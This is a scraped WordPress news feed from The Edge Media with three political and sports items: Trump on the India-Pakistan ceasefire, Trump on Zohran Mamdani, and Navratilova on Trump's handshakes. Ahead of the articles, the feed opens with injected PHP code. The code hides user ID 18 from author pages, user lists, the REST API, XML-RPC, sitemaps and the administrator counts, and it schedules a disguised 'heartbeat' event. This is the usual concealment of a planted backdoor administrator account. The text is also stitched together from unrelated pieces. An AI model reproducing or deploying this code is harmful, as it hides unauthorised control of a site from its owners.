add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 18;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 18 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 18;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 18;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
The post Donald Trump Repeats Claim of Halting India Pakistan Conflict, Mentions Eight Aircraft Shot Down appeared first on The Edge Media.
]]>In an interview with media on Thursday, Trump said he had helped put an end to several conflicts around the world. Referring to tensions in different regions, he remarked that he had stopped eight wars, even jokingly adding a fraction more due to renewed clashes between Thailand and Cambodia. He added that, in theory, one should receive a Nobel Prize for each war that is brought to an end.
Speaking about South Asia, Trump claimed that India and Pakistan were on the brink of a large scale confrontation. He said the situation was extremely serious, involving two nuclear capable nations, and asserted that his intervention helped stop the conflict. He again repeated that eight planes were downed during the fighting and described the episode as a major crisis that he helped resolve.
The escalation followed India’s launch of Operation Sindoor on May 7, which targeted terror infrastructure in Pakistan and Pakistan occupied Kashmir. The operation was carried out in response to the April 22 terror attack in Pahalgam that claimed the lives of 26 civilians. After four days of intense cross border drone and missile exchanges, India and Pakistan reached an understanding on May 10 to end hostilities. India has consistently maintained that the cessation of hostilities was achieved bilaterally and has rejected claims of any third party mediation.
Trump also said he had helped end a long running conflict between Congo and Rwanda, which he claimed had lasted for nearly three decades. He said stopping such wars gave him personal satisfaction because, in his view, it helped save millions of lives rather than bringing recognition through awards.
During the interview, Trump was also asked about Venezuelan opposition leader María Corina Machado, who last year dedicated her Nobel Peace Prize to him and reportedly expressed a desire to hand over the honour to Trump for what she described as liberating her country. Trump said he had heard she was expected to visit soon and that such a gesture would be a great honour.
He further commented that not receiving the Nobel Peace Prize had been a source of embarrassment for Norway, where the Nobel committee is based. Trump suggested that given the number of conflicts he claims to have resolved, he deserved recognition, adding that if someone stops eight wars, they should theoretically receive one prize for each.
The post Donald Trump Repeats Claim of Halting India Pakistan Conflict, Mentions Eight Aircraft Shot Down appeared first on The Edge Media.
]]>The post Trump Warns of Economic Collapse if Zohran Mamdani Wins New York City Mayoral Election appeared first on The Edge Media.
]]>Threat to Limit Federal Aid
Posting on Truth Social on Monday, Trump said that if Mamdani wins, his administration will only provide the minimum level of federal funding required by law to New York City. He referred to Mamdani as a “Communist” and claimed that such leadership would lead to total failure, adding that he did not intend to waste federal money on a city governed by policies he believes are destructive.
Endorsement of Andrew Cuomo
Trump, in his statement, urged voters to back Andrew Cuomo, the former New York State governor now running as an independent candidate. He acknowledged that while not everyone may support Cuomo personally, he viewed him as the only capable option compared to Mamdani, whom he dismissed as inexperienced and ineffective.
Profile of Zohran Mamdani
Zohran Mamdani, aged 34, is of Indian descent, born in Uganda, and raised in New York City. Currently serving as a member of the New York State Assembly, Mamdani identifies as a Democratic socialist. He faces Cuomo and Republican candidate Curtis Sliwa in the Tuesday election. Trump accused Mamdani of embracing political ideals that have failed historically and labeled him as unqualified to restore New York’s former prosperity.
Trump’s Criticism and Election Dynamics
Trump described Mamdani as unproductive during his tenure in the State Assembly and argued that electing him would destroy the city’s economic base. He also warned voters that supporting Curtis Sliwa could indirectly help Mamdani win. The current mayor, Eric Adams, withdrew from the race in September following multiple controversies.
High Early Voting Turnout
According to the New York City Board of Elections, over 735,000 residents cast early ballots — nearly four times more than in 2021. Election Day polling runs from 6 a.m. to 9 p.m. on November 4.
Mamdani’s Campaign Promises
After defeating Cuomo in the Democratic primary in June, Mamdani emerged as a leading contender. His campaign centers on making New York more affordable by reducing living costs, freezing rents for stabilized units, and expanding affordable housing construction.
Trump’s Continued Attacks
In a recent interview with CBS’s *60 Minutes*, Trump claimed that Mamdani would perform even worse than former mayor Bill de Blasio. He reiterated that he would hesitate to send federal funds to a city led by a candidate he calls “a Communist far worse than a Socialist.” Trump concluded by saying that, if forced to choose, he would prefer a flawed Democrat like Cuomo over a candidate he sees as representing extreme leftist ideology.
The post Trump Warns of Economic Collapse if Zohran Mamdani Wins New York City Mayoral Election appeared first on The Edge Media.
]]>The post Martina Navratilova Criticizes Trump’s Aggressive Handshakes at Gaza Peace Summit appeared first on The Edge Media.
]]>Navratilova didn’t mince words, posting on social media:
“He is such a weakling—trying to dominate a handshake because that’s all he’s got.”
Her remark echoes widespread criticism online, where Trump’s handshake style—marked by forceful pulls and prolonged grips—has often been mocked and dissected.
At the summit, held to discuss a peaceful resolution to the Gaza conflict, Trump’s interactions with global leaders drew more attention than anticipated. Observers noted his aggressive body language, especially in contrast to the more diplomatic tone of the conference itself.
Social media users were quick to react, many ridiculing the former president’s exaggerated gestures as an outdated attempt at asserting control. Some even called it a “handshake of insecurity,” reinforcing the idea that physical gestures are being used in place of diplomatic substance.
Navratilova, a 9-time Wimbledon singles champion, is known not just for her dominance on the court but also for her strong stances on politics and human rights. Her latest comments add to the chorus of voices criticizing the optics and behavior of political leaders on the world stage.
The post Martina Navratilova Criticizes Trump’s Aggressive Handshakes at Gaza Peace Summit appeared first on The Edge Media.
]]>